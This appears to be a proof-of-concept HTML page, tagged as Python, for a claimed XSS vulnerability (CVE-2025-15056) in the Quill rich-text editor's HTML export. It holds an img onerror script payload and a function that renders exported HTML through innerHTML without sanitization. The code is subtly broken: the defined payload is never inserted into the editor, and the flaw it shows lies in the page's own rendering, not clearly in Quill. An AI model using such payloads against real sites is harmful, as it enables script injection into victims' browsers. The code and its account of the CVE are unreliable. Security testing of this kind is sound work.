The following code is for security research and authorized testing only.
python
<!-- CVE-2025-15056 PoC for Quill HTML Export XSS -->
<!-- This PoC demonstrates the XSS vulnerability in Quill's HTML export feature -->
<!DOCTYPE html>
<html>
<head>
<title>CVE-2025-15056 PoC</title>
<link href="https://cdn.quilljs.com/1.3.6/quill.snow.css" rel="stylesheet">
<script src="https://cdn.quilljs.com/1.3.6/quill.js"></script>
</head>
<body>
<h1>Quill XSS Vulnerability PoC - CVE-2025-15056</h1>
<div id="editor-container"></div>
<button onclick="exportHTML()">Export HTML</button>
<button onclick="showVulnerableOutput()">Show Vulnerable Output</button>
<h2>Exported HTML:</h2>
<div id="exported-html"></div>
<h2>Rendered Output (Vulnerable):</h2>
<div id="rendered-output"></div>
<script>
var quill = new Quill('#editor-container', {
theme: 'snow'
});
// XSS payload that can be inserted into Quill editor
var xssPayload = '<img src=x onerror="alert(String.fromCharCode(67,86,69,45,50,48,50,53,45,49,53,48,53,54,32,88,83,83))">';
function exportHTML() {
// Get HTML content from Quill editor
var htmlContent = quill.root.innerHTML;
// Display the exported HTML
document.getElementById('exported-html').innerText = htmlContent;
// Store for later use
window.exportedHTML = htmlContent;
}
function showVulnerableOutput() {
// Render the exported HTML without sanitization (vulnerable)
document.getElementById('rendered-output').innerHTML = window.exportedHTML;
}
// Alternative: Directly inject via clipboard/paste
// The vulnerability allows XSS via the HTML export feature
</script>
<!-- Attack scenario:
1. Attacker inserts malicious HTML/JavaScript into Quill editor
2. Content is exported as HTML
3. Victim views the exported HTML
4. Malicious script executes in victim's browser
-->
</body>
</html>